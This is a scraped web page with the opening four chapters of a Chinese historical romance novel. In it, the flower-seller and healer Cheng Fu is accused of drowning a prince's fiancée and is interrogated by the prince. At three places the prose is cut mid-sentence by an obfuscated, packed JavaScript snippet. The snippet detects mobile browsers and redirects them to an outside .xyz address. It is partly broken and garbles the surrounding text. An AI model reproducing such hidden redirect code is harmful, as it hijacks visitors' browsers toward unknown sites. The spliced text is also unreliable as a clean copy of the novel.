《千般旖旎春迟迟》 1. 第 1 章 三月风暖花柔,崔令瞻赴京述职归来,途经通福寺,春景盎然,不禁缓辔踏青。 亲卫先一步在附近的酒楼打点,恭迎他入内濯洗风尘。 这日恰逢庙会,商贩叫卖不绝于耳,游人如织,他好奇地打量澹州百姓。 有人说说笑笑挑选新鲜货物,有人愁眉不展为一枚铜钱争执,还有帮闲扎堆推推搡搡喝骂。 纭纭喜怒哀乐编织成了一张巨大的尘网,网中众生千姿百态。 尘网外坐着个她。 她动也不动抱膝倚靠墙垣,青丝如瀑,纤细的脖颈微垂,仿佛一只格格不入的鸿鹄。在她的身前摆着个装满杏花的竹筐,花朵如云雪,将她保护在粉白的世界里。 男人们站在旁边调笑,目光不时朝她的身体扫一扫,她也不吭声。 有和蔼的大叔路过,来回打量她两圈,笑眯眯问她多大年纪,怎不进去用饭? 她扭过头,没理。 大叔也不恼,吩咐店小二拿来一纸袋红豆糕,亲手递给她。 她犹豫了一下,慢吞吞接了。 大叔高兴地捏捏她的小脸,要亲她,未料她陡然翻脸,把纸袋往大叔身上砸,还捡起石头,凶蛮好似一头小兽。 “狗咬吕洞宾不识好人心。” 大叔骂骂咧咧,瞥见人来人往、指指点点的,道一声“晦气”,甩袖而去。 崔令瞻平静地看了片刻热闹。亲卫躬身为他添茶,他捏着茶盏的手指修长白净,不露关节,垂眸呷一口明前雪芽,在心里暗笑小姑娘嘴馋,随便接男人的“好意”。 不是他不识人间疾苦,实在是她太美了,从头到脚整洁,全然不像个落魄乞丐。 他想不到她饿了。 却在心里为她找补一句:这个年纪对人性懵懵懂懂的倒也情有可原,再大些就不蠢了。 饭毕,崔令瞻在亲卫的簇拥下走出酒楼,路过那姑娘,递给她一袋福仙楼的八珍糕。 姑娘叫程芙,才来澹州不久,她发现糕点,浓睫微微一顿,抬眸看见了一名肤色雪白的贵公子,乌黑的瞳仁亮若天上寒星。 崔令瞻也在看她。 程芙没想到这么凉的一双眼竟有一颗暖暖的心,怔怔忘了回应。 崔令瞻放下糕点,抬脚消失在人群。 这眼微不足道的惊鸿一瞥,原以为会如尘烟,一阵风吹过就散了,没想到次日还能再相逢。 次日程芙天不亮起身,去郊外摘杏花,要连着枝丫小心劈,稍稍修剪,撒几滴水,鲜嫩嫩,芬芳淡淡,沿街叫卖。 她长得漂亮声音好听,卖空竹筐常常不过半日。每当附近的小贩脸色黑到不能再黑,她就换个地方,不跟人起冲突。 这天庙会的最后一日,她去了后山,后山游人稀少,多为年轻人。 年轻人爱花,每有人经过,程芙就会甜笑着叫卖。 当艳阳洒满了游人的衣袂,一群便服男子逶迤走来,为首的年轻人头戴黑纱大帽,红玉帽珠垂落白皙耳廓,走动间身上的墨色曳撒隐有月华暗纹,清冷之质非但不减他的矜贵,反衬得劲瘦身形愈发雍容挺拔,直教人移不开眼。 程芙认出了他,笑意如波在眉眼荡漾开。 “要花吗?不收钱。” 一枝春水杏花欹疏横在眼前,崔令瞻撩起眼皮,视线穿过粉雪含露的花簇,凝固了片刻,花簇后是一张比花还美的小脸,弯弯的眉毛下,忽闪忽闪的明眸,有一种小孩子的顽固。 是她。 “一盏茶前将将采摘的,很新鲜。”程芙跳下石阶说,“送给你……” 说着说着,声音低了下去,她察觉了数道锋利的视线,暗含警告瞪过来。只见一名兵将箭步上前隔开她,呵斥:“放肆,闪开。” 原来擅自靠近他是一种冒犯,他是个大人物。 “凌云,走了。”崔令瞻淡然道了一句。 凌云应是,抛下吓呆了的程芙。 剩下的侍卫面无表情从她脸前经过。 她不知道的是下次相逢也不远了。 程芙回过神,忙挎起竹筐换个人多的地界继续叫卖。 客房还剩七日,荷包的五钱银子是用来兜底的,她不敢再花出去,连饭也能省则省。傍晚时分,她才踩着疲惫回到了落脚的客栈。 这里是桑树街口碑最好的一家,还分了男女两客院,贵是贵了些,胜在足够安全。 于程芙而言最重要的莫过于安全,她宁肯饿肚子也要住这里。 尾随而来的轻浮帮闲在门外偷觑她,客栈的护院立即上前驱逐。 路过程芙的女客们暗地里惊艳,忍不住多瞅她几眼,顿一顿,转过头,继续和自己人热火朝天闲聊。 大昭受程朱理学的侵蚀日益严重,贵族女子甚少再抛头露面,豪绅富户也开始效仿,但民间不吃这套。 民间要吃饭的,女人承担的活计不比男人少,农忙时节女人卷起袖子撸起裤管纷纷下地,谁也别笑谁,顶多被大儒斥一句“不开化的愚民”。 故而女子独自出门也算不得特别离奇,只是在外行走遇到歹人可就凶多吉少了。 所幸澹州隶属燕阳府,乃毅王封地,出了名的吏治严谨,等闲不出那为非作歹之辈,女子住进大客栈倒也过得去。 一名女客道:“毅王治下人杰地灵,听说比北边还有秩序,毅王应是个宽厚仁慈之人。” “那你可是不知他三年前进京勤王。”年纪大的商妇见多识广,掩袖悄声道,“据说皇城后巷被他杀得血流漂杵,宁可错戮不放一佞臣。” 这事京师那边的百姓多少都知道些。 众人闻言,汗毛倒竖,骇然一时不敢吱声。 毅王崔令瞻乃已故燕王的嫡长子,当今皇帝的亲孙儿,就藩燕阳府。 按制崔令瞻最多也就封个郡王,却被皇帝赐单字“毅”,直接封了亲王。 “如此说来,毅王远不如老王爷慈悲心肠。” 先前感慨的女客很是不解,问:“那皇帝何以偏偏最宠信他,尤甚其他子嗣?” “可能是毅王长了副天兵神将的相貌,貌若钟馗、威武了得,正中皇帝心窝。”另一人道。 皇帝不轻文但更重武,对皇子皇孙的期许莫过于“上卫家国,下安生民”,要求他们从幼年起就得学习兵事,那么貌若钟馗、威武了得的毅王当然更受皇帝赏识。 “瞎说。”商妇笑了,“昔年毅王进春入京,我亲眼见过的,形貌清隽秀雅,皮肤白得像玉一样,比探花郎还俊美百倍哩。” 无人想象得出比探花俊美百倍得是何模样。 “毅王”、“探花”每个词都该与程芙八竿子打不着,她听了几耳朵连忙抛诸脑后,默默走到厨房门前卷袖刷洗木盆里泡着的粗瓷碗碟。 动作干净利落,一看就是经常在灶台打转的。 一身油绿绸缎衣裙的老板娘走过来道:“你倒是个勤快的。” “我不白吃阿姐的饭,这是我应当做的。”程芙细声细气的。 宛如珍珠落玉盘,煞是动人。 老板娘乐了,又给了程芙一把铜钱,“先忙正事,你这手艺比寻常医婆都精。” 正事是为她推拿烧艾驱寒气。 程芙接了钱,再三拜谢,“是阿姐您抬举我。” “这般好手艺跟谁学的?” “家母。她曾是颇有名气的医婆。” “果然。女子从医多半是家传,有的家传还轮不到女儿。”老板娘又道,“听你口音像澹州人。” “是,叫阿姐听了出来。” “别忘记去西街口,或许还能赶上官府的红封,按户籍,一家领三十枚铜钱呢。” 毅王婚期将近,澹州知州福至心灵以红封为毅王歌功颂德。 “这么多。”程芙神情微亮,“知州也算是有心。” “嗐,他别的不行,媚上功夫在毅王封地首屈一指。”老板娘撇撇嘴,“是了,你返籍莫非是要参选太医署会考?那你可来晚一步,二月已结束,你得再等一年。” 一年仅一次。 中选的医婆即可在太医院注册备召。 程芙抿笑:“暂时不着急,我来投奔姨母的。” 老板娘点点头,“懂了,打算长住。澹州好啊,沾毅王的光日子还算安稳。” 程芙心不在焉“嗯”了声。 老板娘神秘一笑,压低了声音道:“你可知毅王的未婚妻是何许人?” 程芙垂下脸,轻轻摇了摇头,“不清楚。” 可她垂在身侧的左手藏于袖中止不住抖。 老板娘:“是前内阁首辅苏阁老的亲孙女儿。” 便是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16422418|184773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 内阁首辅前加了个“前”字亦是程芙望尘莫及的庞然大物,黄昏已绝,星月朦胧,乌云卷上来遮天蔽月。 程芙浑浑噩噩烧完了艾,又恍恍惚惚回到了自己的房间。 就在五天前,她从渔船上醒来,刺目的日光耀得眼睛酸涩。 一场猝不及防的翻船仅留下三条性命,与她争执的苏姑娘不幸溺亡。 官船的船娘子吓到打摆子,全无劫后余生的庆幸,一骨碌爬起,边走边催她:“趁苏家的婢女昏迷,你也抓紧走吧,多一事不如省一事。” 程芙听劝快走了两步,猛一顿住,回身朝搭救自己的渔民磕了三个响头,留下一两碎银,掉头就逃。 这一逃便是疾奔半炷香。 直到脚下一个趔趄,摔倒在地,她僵俯着身子,脑袋才逐渐清明,官船侧翻岂是她一介小民所能阻止的,更何况是苏姑娘先推了她。 然而人的命并不都一样,也只有她自个儿拿自己当个宝。 戌正微云笼月,毛知州撂下衣衫半解的小妾,匆忙套上公服,边跑边将乌纱帽扣在脑袋上,急问皂吏:“毅王何时到的?” “前脚到,小的后脚就跑来通知您的。” “算你小子机灵。” 自毅王接管燕阳府,疏浚河道,置卫兴屯,不过半年就剿灭了为祸十余载的蛟龙岭匪帮,还大力整肃纪纲、察举百官。 光是听到他的名号,毛知州就如老鼠见了猫,此时飞速运转的大脑几番确认自己近来未惹麻烦,一颗悬着的心才稍稍揣回肚里。 毅王的车驾直接驶进衙署二进院,院内到处是明烛宫灯,星火煌煌,照得四下亮如白昼。 待轮毂一停,立即有人上前挑起锦帘,另一人同时安置条凳。毅王低头迈了出来,一脚踩在条凳,第二脚稳稳落地。 侍立一旁的胥吏难免惊讶,原来毅王只是个二十上下的年轻人。 朗目星眸,丰神俊朗。 毛知州揉揉眼,打起精神赔笑,上前抱拳唱个喏:“下官参见王爷,恭祝王爷万福金安——” 崔令瞻径直越过他,边走边道:“本王这一路走来,澹州的税收名目着实令人大开眼界。” “下官惭愧。”毛知州眼皮子一跳,缩着脑袋道,“王爷有所不知,穷乡僻壤出刁民,那些刁民惯会钻律法漏洞逃役,下官为了教化他们……才些许严苛了点。” 毅王治下的官吏行事一向有章有法。自从毛知州调任澹州,已然收敛到不能再收敛了。 崔令瞻点他两句便不再提,毕竟此人也不是全无可取之处。 毛知州心领神会,偷偷抹把汗。 崔令瞻中途停留澹州主要是为了接未婚妻苏月嫣回燕阳。 原不该他接,毕竟尚未成婚,可礼制之外还有人情。恩师苏阁老已故,苏大人又平庸无能,如若他也捧高踩低,不闻不问,阿嫣必将举步维艰。 婚约即誓言,从签立那一刻便是休戚与共,相互扶持。 况且他与阿嫣相识六载,知根知底,把王府和年幼的妹妹交给她,他放心。 于是毅王就在澹州住下了,住多久却未言明,简直是要了毛知州的老命。 意外之喜是毅王没看上知州的衙署。 毛知州长吁一口气,谢天谢地。他恭恭敬敬送毅王下榻东郊别苑。 是夜,凌云整理书房邸报和密信,一抬头,发现毅王面前还摊着苏阁老生前的书信。 “王爷且放宽心,那六名侍卫以一敌五不在话下,由他们护送苏姑娘,不出月底定能平安到达澹州驿馆。”他温声道。 崔令瞻点点头,以手抵鬓角,阖目放空,食指在眉心轻轻划着圈。 父王和母妃走得早,他年少便接管了燕阳,还要照顾幼小的妹妹,忙得分身乏术。如今大局已稳,自该安定下来调养生息,娶妻生子。 翌日春雨淅淅沥沥,染就一地落花。 燕阳府而来的王府亲卫觐见下榻别苑的毅王,“咚”地一声跪地,双手高高托举一份讣闻,悲戚道:“王爷,还请节哀。” 崔令瞻:“……” 凌云忙将讣闻呈给毅王。 崔令瞻的目光投落在黑色缎面的讣闻,上书:景暄三十二年,三月初八,苏氏嫡女月嫣卒。 阿嫣。 六天前已溺水而亡。 2. 第 2 章 与此同时,清安县县衙的东便门发生了一件大喜事。 原来范参政亲自登门求纳徐知县家的芙小姐,光彩礼就抬了六大箱笼。 徐知县家的仆婢聚在茶水房嘀嘀咕咕。 “范大人比老太爷还年长,夫人如何舍得的?” “又不是她生的,谈何舍与不舍。” “那老爷呢,便是庶出总归也是他的骨血。” “骨血跟老爷可没丁点关系。”知道内情的婢女压低了声音,“芙小姐是柳姨娘和别人生的……” 管事妈妈沉着脸在门口咳嗽一声,说古婢女立时闭了嘴烧茶去。 后院的徐夫人如坠冰窟,一张容长脸煞白煞白的,摔了青瓷茶盏大吼:“你说什么,人不见了?不见了十余日你才来禀告?” 心腹妈妈瘫软在地,哭道:“奴婢该死,奴婢哪里就想到少爷会帮着芙小姐给奴婢下药,还把奴婢绑在了柴房。” 徐夫人难以置信望向自己的亲生儿子,他目光空洞,神情木然,像是完全不知自己闯下多大的祸。 徐夫人肺腑皆崩,“知不知自己在作何?” “是母亲欺我在先。”徐峻茂撩衣跪地,声泪俱下控诉,“您前脚答应我考中秀才就把芙妹妹许我为妾,后脚便出尔反尔,还要把她记在名下献给花甲老头。” “是范参政中意她在先,你和你父亲的仕途都捏在人家手中,我怎敢不从?”徐夫人捶胸顿足,哀嚎道,“你竟为个女人将生身父母往火坑推,我到底造了什么孽!” “夫人冷静。”心腹妈妈膝行上前,劝道,“当务之急是先抓到那小贱人。把人抓到了,您再仔细追究也不迟呐。” 一语点醒梦中人。 徐夫人厉声吩咐左右:“拿老爷的帖子找王捕头,就说寄居我家的穷亲戚偷了金银潜逃,务必捉拿归案,生死不论。” 下人领了夫人的命令,鱼贯退出。 徐夫人做梦也想不到孽障儿子倾其所有为程芙求得以假乱真的路引和册籍,九天前已离开了清安县。 三月十八,程芙将将走出桑树巷就被两名膀大腰圆的婆子拿住。也不用呼喊救命,因旁边站着的便是佩刀的快班捕头。 衙门大清早拿人,拿的还是个小姑娘,路人见状纷纷讶然。 时下女犯稀少,没几个衙署配备狱婆,没狱婆的话,犯了事的女子少不得要被五大三粗的捕快上下其手。 程芙得亏是在澹州。 大昭地方衙门审案多为公开,允许良民在外围观,以示司法之公正。但此案关乎权贵,当作特殊处理,二堂的大门关得密不透风。 毛知州身着绣有飞禽补子的蓝色官服,头戴乌纱帽,浩气凛然往太师椅一坐,狠狠掷一把惊堂木,喝道:“大胆恶女你可知罪?” 程芙跪在堂下纹丝不动,“民女不知。” 毅王就在澹州,毛知州并不敢屈打成招糊弄过去。他气沉丹田,道:“恶女,本官倒要看看铁证事实面前你待如何狡辩。” 幕僚接到他的眼色,马上召人证上堂,是苏家的婢女,一身蓝色衣裙,名唤蓝雪。 蓝雪怒视程芙,杀意腾腾。 毛知州:“原告苦主,为何状告程芙?” 蓝雪:“回大人,三月初八我等乘坐的官船遭奸人破坏导致舱破侧翻,我家小姐被水浪冲到了程芙身前。” 说到此处,她眼眶沁红,双拳发抖,颤声道:“恶女程芙水性极好又有木板所依,非但不救人还猛推我家小姐,为救小姐我也不幸溺水,待渔船将我们捞上岸,小姐已是气绝身亡!” “我家小姐乃宣阳苏氏后人,已故苏阁老的嫡孙女,未来的毅王妃。为了秋日大婚才提前来燕阳投奔二房老爷。”蓝雪泪水涟涟。 堂下众人无不倒吸凉气,肃穆的大堂瞬间死一般寂静。 少顷,有人忍不住交头接耳,窸窸窣窣。 蓝雪膝行上前,殷殷望着毛知州,道:“请大人为我家小姐主持公道,严惩恶女程芙,乱棍打死也不为过。” 只要毅王开心,别说乱棍打死,就是千刀万剐也行,但流程还是要走的。毛知州咳嗽两声,板着脸道:“程芙,现在你可知罪?” “民女无罪。大人不能只听她一面之词。”程芙说,“民女也有话说有人证。” 话音落,蓝雪倏地看过来。 毛知州:“你说。本官再听听你的一面之词。” 程芙正欲开口,门外走来一人,牙色贴里外罩墨蓝方领罩甲,长身玉立,俊秀明朗。 此人朝堂上亮了亮腰牌,“毅王府凌云。” “凌大人!”毛知州的屁股像是被火咬了,腾地弹起,走过来拱手揖礼。 凌云抱拳回礼,道:“大人秉公办案要紧,无须在意我。” 旁边已经有人搬来红木交椅,凌云卸剑从善如流坐下。 毛知州见状也只能再三告罪,回到座位。 “程芙,继续。” 程芙:“民女没有害苏姑娘,也伸手拉住她,同她一起抱紧木板,是她忽然撕扯将我按入水中。” 毛知州低头清了清嗓子。 “蓝雪也游过来帮她撕扯。”程芙用力攥拳,攥到发白,“民女不想死,只能牢牢抓紧木板,争执间苏姑娘突然抽筋溺了水。” “民女笃定苏姑娘身上一丝外伤也无,反倒是民女,”程芙顿了顿,“民女耳后脖颈全是她们留下的抓痕。” “那是我家小姐受你迫害挣扎所留,怎能断定为她害你!”蓝雪幽幽道,“蛇蝎毒妇,你占据天然优势将小姐按进水中溺亡。” “我与苏姑娘萍水相逢、无冤无仇,为何要害她?”程芙大声问,“害人总得有个动机,我这么做有何好处?” 蓝雪:“……” 好个伶牙俐齿的小丫头。毛知州搓着手,偷觑凌云两眼,见他没甚话要说,只好自己出声。 “程芙,你说你没有杀人动机,难道苏姑娘就有?她与你也是萍水相逢,无冤无仇。” 毛知州暗自得意,瞥了眼“拙嘴笨舌”的蓝雪,却见她面色发白,嘴唇微颤,全无一丝对他机敏的钦佩与附和。 程芙也在看蓝雪,偏着头,目如火炬。 显然毛知州问了不该问的。 凌云道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16422419|184773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“毛大人,程芙说她也有人证。” 毛知州恰如醍醐灌顶,赶紧拍惊堂木,问:“程芙,说说你的人证,姓谁名何,家在何地?” 程芙:“回大人,民女的人证是船娘子,燕阳府人氏,姓陶名花。她离民女和苏姑娘最近,什么都看见了。” 毛知州张了张嘴,正要开口,忽听凌云低声道:“去趟燕阳府,把人接来对峙。” 原来他身后还站着一名亲卫,那亲卫抱拳回:“是,大人。” 蓝雪的面色骤然沉下去。她昏迷最久,苏醒后忙着运送小姐的遗体回燕阳府,根本腾不出手追杀其余幸存者。 眼下忽然有些后悔了,不该走官府的捷径,靠自己慢慢摸排迟早也能揪出程芙。 道理是这个道理,但夜长梦多,她只能铤而走险,谁知程芙是根硬骨头,不好啃。 因燕阳府到澹州来回最快也得四日,此案便只能延后四日。 程芙被狱婆押送大牢,暂且收监。 凌云道:“毛大人还有话问不?没有的话我就先带蓝雪回去。” 毛知州忙道:“大人且随意,下官无不配合。” 凌云颔首:“多谢毛大人。” “岂敢岂敢,凌大人莫要多礼。”毛知州揣着手,凌云的品秩比他高,还是王府亲卫。他哪敢托大。 于是蓝雪随凌云回了东郊别苑。 直到跪在毅王脚下,直面毅王本人,威严才开始具象。 蓝雪的从容不堪一击。 崔令瞻换了素服,珍珠白的杭绸道袍深色缘边,腰间仅束一条碧玉丝绦,眉覆冰雪,冻结了春水。 蓝雪仓惶垂下脸,不敢直视。 凌云靠近崔令瞻低声道:“苏家所告之人姓程名芙,年十六,用假册籍登的官船,后以真册籍入城,衙门颇费了番功夫才将人抓获。” 说完睃了眼崔令瞻,低声补充道:“是那日在通福寺偶遇的杏花美人。” 崔令瞻的睫毛微不可见地颤了下。 蓝雪大气不敢喘跪伏半晌,隐约听见凌云的声音,不知在对毅王说什么。她心头禁不住七上八下,忽听凌云问话,忙打起精神,娓娓道出此行一路发生的大小状况。 崔令瞻略一沉吟,问:“你们还未出宣阳便遇刺,本王的六名亲卫全部殉难?” “回王爷,是的。那群山匪训练有素,全然不似乌合之众。”蓝雪不敢含糊。 六人无一幸免,当真匪夷所思,山匪便是京师的锦衣卫水平也不至于。 崔令瞻面色如常,淡淡道:“为何突然改水路?” “回王爷,没有您的亲卫,陆路又什么人都能遇到,小姐居安思危便改乘官船。”蓝雪说,“万没想到杀手也混入其中。” 后来的事情便如蓝雪所言,落水后阿嫣遭程芙迫害。 若真如此,程芙的小命自然不保。 毕竟人与人之间不仅分亲疏也分三六九等,程芙再娇怜动人也是外人,是卑微的庶民。 崔令瞻再如何也不可能因美色罔顾未婚妻冤屈。 但此案疑点颇多,崔令瞻没那么容易被糊弄。 3. 第 3 章 四日后,船娘子陶花被接到澹州,次日清安县那面也快马传来了有关程芙的信札:她生母原是瘦马,她本人在清安县也劣迹斑斑,包括不限于勾引知县之子、伪造路引逃婚。 伪造路引不是小罪,因主谋是徐峻茂,徐知县不敢声张,就一力压下了。 凌云道:“徐夫人原打算把她嫁出去,断了次子念想,没想到她会闯出这么大的祸。” 崔令瞻翻看了整整六页信札,程芙这个人属实令他大开眼界:撒谎成性、水性杨花、瘦马之女。 凌云随口道:“听说范参政年逾花甲,岁数相差确实有点大,想来她不满意才胡作非为的。” 崔令瞻微顿,目光在他身上悬停一瞬。 凌云站得笔直。 崔令瞻收回目光。 “带她见本王。”他说。 “是,王爷。”凌云回。 崔令瞻又改了主意,“先审陶花。” 凌云领命。 三月廿三,王府亲卫确认了陶花与程芙之间不存在勾连,做伪证的可能微乎其微,将她带到了毅王面前。 “民妇见过大王、各位官老爷。”陶花跪伏地上,官兵吩咐过上面不叫抬头就不能抬。 毛知州没好气道:“什么大王,你当这里是匪窝。叫王爷。” 以大王称呼亲王是当地的方言,不够严肃。 陶花连连磕头:“王爷,王爷。” 她惶惶不安,得知自己没犯事才敢吐露具体细节。 “程芙第一时间拉住了苏姑娘,民妇当时还庆幸呢两个姑娘都有木板可依……然后,然后苏姑娘突然将程芙按入水里,可把民妇吓坏了。当时民妇自顾不暇,等再看过去发现苏家主仆与程芙推来搡去,一个浪打过来苏姑娘就没了。” 凌云问:“你的意思是程芙并未主动加害过苏姑娘?” “回大人,是的。”陶花说,“程芙生活拮据,好不容易遇到出手阔绰的苏姑娘,感激都来不及,又怎会下毒手……” 她小声说了句公道话。 无人理她。 凌云看向崔令瞻,躬身道:“回王爷,大部分对上了。” 崔令瞻慢腾腾捻着一串墨玉,深邃的轮廓淡漠又平静,少顷,才“嗯”了一声。 凌云便抬手示意陶花可以退下。 陶花如释重负,磕个头仓惶告退。 凌云偏头面向毛知州等人,右手往外一送,客气道:“剩下的事王爷要亲自审问,劳烦诸位先去偏厅稍作休息。” 众人提衣起身作揖,依序而退。 案情与毅王未婚妻有关,傻子才敢旁听。毛知州琢磨过来,只等凌云发话,溜得比兔子还快。 程芙被两个狱婆押进了正厅。 她蓬头垢面跪在地上,戴了手链脚链,看起来小小一团,莫说犯上了,这里谁都能将她打趴下。 狱婆朝毅王行礼,又朝凌云行了一礼,离开了房间。 兽首香炉轻烟袅袅,散开了一室清幽。程芙并不识得熏炉里燃的是一两百金的沉香,只觉得如花似蜜又清冷淡淡,直冲四肢百骸,不觉心神宁静。 殊不知她在此宁静了,却苦了崔令瞻和凌云。 凌云倒还勉强,主要是崔令瞻,程芙打破了他固有的美人生香的认知。 此刻脚下的美人竟有些难闻,只他一向沉稳,泰山崩于前而面不改色,遂屏息道:“抬头。” 程芙依言仰起脸,目光接触到他有意外却也没有多么意外。转而平静地移开视线,盯着兽首香炉。 她的脸上布满巴掌印,显然遭过虐打。 崔令瞻别开脸,调整了一下呼吸,踱步走了过来,驻足凝看她片刻。 程芙知道“苦主”在欣赏她的狼狈。 这份狼狈是毛知州精心为毅王准备的,一旦毅王展颜,毛知州还会玩更多花样。 她好像听见了一声嗤笑,很淡很轻,下巴就被毅王的食指提起,非常硬,不容反抗却暖得出奇。 原以为他是冷的。 她自小就被一些男人这样提着下巴打量惯了,并没有太过惧怕,况且这个人和毛知州不一样。 毛知州杀她有诸多顾虑,不仅要编理由还得打点下面的人。毅王就不需要,毅王现在就能要她的小命。 她不能激怒他。 程芙像落网的小兽,蛰伏起来,动也不动。 “她不会凫水。”崔令瞻居高临下勾起程芙冰凉的下巴,“而你通晓水性,占据上风,缘何不拉她一把?” “回王爷,民女拉她上来了,没有见死不救。”她解释了数遍,不得不再重复。 “最后不还是推了她。” “是她先推的民女,民女反抗时失手推了她……” “她沉下时你就没想过再拉她一把?” “民女力竭了。” 她总算承认推了苏姑娘,这跟在毛知州面前抵死不认罪判若两人。 凌云挑了挑眉。 程芙比任何人都清楚对毛知州等人讲话须得提防,确保每个字都不能被曲解,但对毅王万不可如此。 因毅王杀她不需要理由更不需要遮掩,在毅王眼皮底下,她要做的不是粉饰而是尽量还原真相。 毅王可能会因真相心慈手软,但绝不会因谎言。 “阿嫣温良贤德,不是你说的那种人。”崔令瞻说,“反倒是你,劣迹斑斑,实难取信于人。” 他用棉帕擦了擦手指,将一叠信札丢在程芙面前,“可识字?你自己念念。” 程芙身形微僵,缓缓探出手,短了一截的囚服露出了她凝白的皓腕,布满笞痕和血迹。 这是一叠比她现有的手实还要详尽的背景存录,写满了她不堪入目的过往。 崔令瞻盯着她的表情,她浓长的睫毛像小刷子,不让他看清她究竟在想什么。 那天她声若骊珠掷碎,貌若初日芙蕖,谁能料极致的干净下竟藏着极致的低贱。 崔令瞻向后仰靠椅背,良久,才疏散了些心头未知的躁意。 程芙默默翻完了信札,整理好,轻轻放在崔令瞻脚下。 崔令瞻:“……” 程芙缓声细语道:“民女自知在清安县犯了错,可苦主尚未追究,想来是要给民女改过自新的机会。” 苦主都不追究,他凭何多管闲事?程芙抿着秀气的嘴角,跪地的姿势本本分分。 崔令瞻再次被她气笑了。 “你脸皮当真是厚。勾引徐峻茂替你抗下所有,你让徐知县怎么追究?” 程芙默不作声。 “这里可没有怜香惜玉的徐峻茂。”崔令瞻冷哼,“便是阿嫣先推你又如何,凭你也配忤逆她?” 程芙:“……” 这也是毛知州揍她的原因。 所有人都在指责她一件事:她以下犯上。 苏姑娘是宣阳苏氏的贵女,未来的毅王妃,就算要她死又怎样? 她怎能推簪缨世族的贵女…… 话一出口崔令瞻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16422420|184773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 莫名懊恼。 从礼法来说,程芙不应当反抗,否则阿嫣也不会抽筋溺水,然而蝼蚁尚且偷生,更何况是人,生死之际,生存的本能必然高于礼法。 她反抗是本能,并非她恶毒。 崔令瞻颓然落座,垂目按了按眉心。 “阿嫣为何要害你?”他撩起眼皮问到了疑点。 程芙:“民女不敢不回王爷,却又不能回王爷。” 崔令瞻默然望着她。 程芙攥了攥衣角,“民女若为脱罪而不顾苏姑娘身后清名到处乱说,只会使王爷更想杀了民女。” 那倒没有。崔令瞻薄唇微抿。 猜她并非有意加害那一刻,他就再未想过杀她,却也不能轻饶她。 “凌云,你先退下。” “是,王爷。” 凌云离开,偌大的房间就仅剩崔令瞻与程芙,变得异常空寂。 崔令瞻主动打破了静谧:“说。” 程芙:“……” “你不说,本王早晚也能查出。”崔令瞻沉声道,“到那时,你连唯一戴罪立功的机会都没有。” 他随口一恫吓,果然,她就怕了。 程芙垂下脸,问:“民女说了,王爷能否免民女一死?” “你跟本王讲条件?” “……” “说。一个字也不许漏。” 程芙咬了咬下唇,她想活着,她没那么高尚,当然不敢忤逆毅王。 “苏姑娘患了一种隐疾,在时人看来不吉,影响家族女孩的声誉,但民女敢以性命发誓她的问题并不严重,划两刀就能痊愈。” 她没有明说何种隐疾,崔令瞻也未强迫她说清楚,以他的心智大约也能猜个五六成。 程芙咽了下口水,把衣角攥成团,“民女收取诊金为她化解了,却不能答应她另一个要求。” 崔令瞻的视线自上而下投过来,程芙如芒在背。 她让自己恢复冷静,继续道:“民女家训一不为奴二不为妾,实在无法卖身为奴追随她。” “于是民女以性命和家母的医道发毒誓——民女保证守口如瓶,只求她放过民女。”程芙说,“可她不想留后患,这才有了落水后的事……” 是真是假自有女仵作来证实。 谅程芙也不敢拿阿嫣的清誉信口开河,所以崔令瞻信了大半。 “闺阁私隐换成本王也不会放你走。”他直言不讳。 “可民女救了苏姑娘,难道行好事不该有好报?” 崔令瞻看她,眉毛一拧,慢慢道:“你收了诊金,沾上贵人因果,自然不能一走了之。” 程芙的颊肉微动,几度欲言又止。 她确实收了。 因为特别缺。 没有钱就住不起大客栈,随便来个男人都能欺负她,但她救人的心也是真的,为何就不能有善果呢? “王爷,民女需要钱。”程芙轻声道,“二两诊金于民女是生与死的区别。” “追随她入毅王府不就可以得到更多?” “有违家母遗训。” 崔令瞻深吸一口气,涵养使得他没有说出更难听的话。 程芙知道他在心里鄙夷她的阿娘,一个低贱-娼女、自愿与人为妾之人,哪来的脸面扬言不为奴妾…… 她欲为阿娘分辩几句,却陡然意识到毅王与自己并非同一阶层。 出身优渥的他理解不了的。 他永远都不会懂底层女子身如炼狱。 4. 第 4 章 等了许久,崔令瞻也未能等到程芙的一句忏悔。 他只好再次走过去,垂眸皱眉道:“二人合力都困不住你,以你的水性再救阿嫣一回并不难。” “民女说过了,当时已力竭。” 崔令瞻扬声道:“力竭还能抱着木板游那么远?”他音色低低的冷,“本王看你像见死不救。” 程芙难以置信抬起脸,几番惊疑在眼底深处凝成了恐惧。 “那日另有一人也在现场,”崔令瞻道,“看得比陶花更清楚。” 